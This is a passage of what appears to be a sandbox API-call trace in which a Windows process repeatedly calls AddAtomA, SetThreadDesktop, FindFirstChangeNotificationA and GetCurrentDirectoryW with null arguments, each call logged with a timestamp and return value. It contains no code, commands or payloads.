AddAtomA (lpString=0x0) returned 0x0 [0098.412] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.412] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.412] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.412] GetLastError () returned 0x3 [0098.412] AddAtomA (lpString=0x0) returned 0x0 [0098.412] AddAtomA (lpString=0x0) returned 0x0 [0098.412] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.412] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.412] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.412] GetLastError () returned 0x3 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.413] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.413] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.413] GetLastError () returned 0x3 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.413] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.413] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.413] GetLastError () returned 0x3 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.413] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.413] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.413] GetLastError () returned 0x3 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.413] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.413] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.413] GetLastError () returned 0x3 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.413] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.413] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.413] GetLastError () returned 0x3 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.413] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.413] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.413] GetLastError () returned 0x3 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.413] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.413] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.413] GetLastError () returned 0x3 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] AddAtomA (lpString=0x0) returned 0x0 [0098.413] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.414] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.414] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.414] GetLastError () returned 0x3 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.414] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.414] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.414] GetLastError () returned 0x3 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.414] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.414] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.414] GetLastError () returned 0x3 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.414] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.414] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.414] GetLastError () returned 0x3 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.414] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.414] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.414] GetLastError () returned 0x3 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.414] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.414] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.414] GetLastError () returned 0x3 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.414] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.414] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.414] GetLastError () returned 0x3 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] AddAtomA (lpString=0x0) returned 0x0 [0098.414] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.414] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.415] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.415] GetLastError () returned 0x3 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.415] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.415] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.415] GetLastError () returned 0x3 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.415] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.415] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.415] GetLastError () returned 0x3 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.415] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.415] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.415] GetLastError () returned 0x3 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.415] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.415] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.415] GetLastError () returned 0x3 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.415] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.415] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.415] GetLastError () returned 0x3 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] AddAtomA (lpString=0x0) returned 0x0 [0098.415] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.416] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.416] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.416] GetLastError () returned 0x3 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.416] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.416] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.416] GetLastError () returned 0x3 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.416] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.416] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.416] GetLastError () returned 0x3 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.416] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.416] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.416] GetLastError () returned 0x3 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.416] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.416] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.416] GetLastError () returned 0x3 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.416] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.416] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.416] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.416] GetLastError () returned 0x3 [0098.416] AddAtomA (lpString=0x0) returned 0x0 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.417] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.417] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.417] GetLastError () returned 0x3 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.417] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.417] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.417] GetLastError () returned 0x3 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.417] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.417] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.417] GetLastError () returned 0x3 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.417] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.417] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.417] GetLastError () returned 0x3 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.417] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.417] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.417] GetLastError () returned 0x3 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.417] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.417] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.417] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.417] GetLastError () returned 0x3 [0098.417] AddAtomA (lpString=0x0) returned 0x0 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.418] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.418] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.418] GetLastError () returned 0x3 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.418] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.418] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.418] GetLastError () returned 0x3 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.418] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.418] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.418] GetLastError () returned 0x3 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.418] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.418] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.418] GetLastError () returned 0x3 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.418] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.418] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.418] GetLastError () returned 0x3 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] AddAtomA (lpString=0x0) returned 0x0 [0098.418] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.418] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.418] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.419] GetLastError () returned 0x3 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.419] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.419] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.419] GetLastError () returned 0x3 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.419] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.419] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.419] GetLastError () returned 0x3 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.419] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.419] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.419] GetLastError () returned 0x3 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.419] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.419] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.419] GetLastError () returned 0x3 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.419] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.419] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.419] GetLastError () returned 0x3 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] AddAtomA (lpString=0x0) returned 0x0 [0098.419] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.419] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.419] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.420] GetLastError () returned 0x3 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.420] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.420] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.420] GetLastError () returned 0x3 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.420] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.420] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.420] GetLastError () returned 0x3 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.420] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.420] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.420] GetLastError () returned 0x3 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.420] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.420] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.420] GetLastError () returned 0x3 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.420] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.420] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.420] GetLastError () returned 0x3 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] AddAtomA (lpString=0x0) returned 0x0 [0098.420] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.421] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.421] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.421] GetLastError () returned 0x3 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.421] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.421] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.421] GetLastError () returned 0x3 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.421] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.421] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.421] GetLastError () returned 0x3 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.421] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.421] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.421] GetLastError () returned 0x3 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.421] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.421] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.421] GetLastError () returned 0x3 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.421] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.421] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.421] GetLastError () returned 0x3 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] AddAtomA (lpString=0x0) returned 0x0 [0098.421] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.422] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.422] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.422] GetLastError () returned 0x3 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.422] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.422] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.422] GetLastError () returned 0x3 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.422] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.422] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.422] GetLastError () returned 0x3 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.422] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.422] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.422] GetLastError () returned 0x3 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.422] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.422] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.422] GetLastError () returned 0x3 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.422] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.422] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.422] GetLastError () returned 0x3 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.422] AddAtomA (lpString=0x0) returned 0x0 [0098.423] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.423] FindFirstChangeNotificationA (lpPathName=0x0, bWatchSubtree=0, dwNotifyFilter=0x0) returned 0xffffffff [0098.423] GetCurrentDirectoryW (in: nBufferLength=0x0, lpBuffer=0x474f60 | out: lpBuffer="") returned 0x14 [0098.423] GetLastError () returned 0x3 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] AddAtomA (lpString=0x0) returned 0x0 [0098.423] SetThreadDesktop (hDesktop=0x0) returned 0 [0098.423] FindFirstChangeNotificationA (lpPathName=0x0, 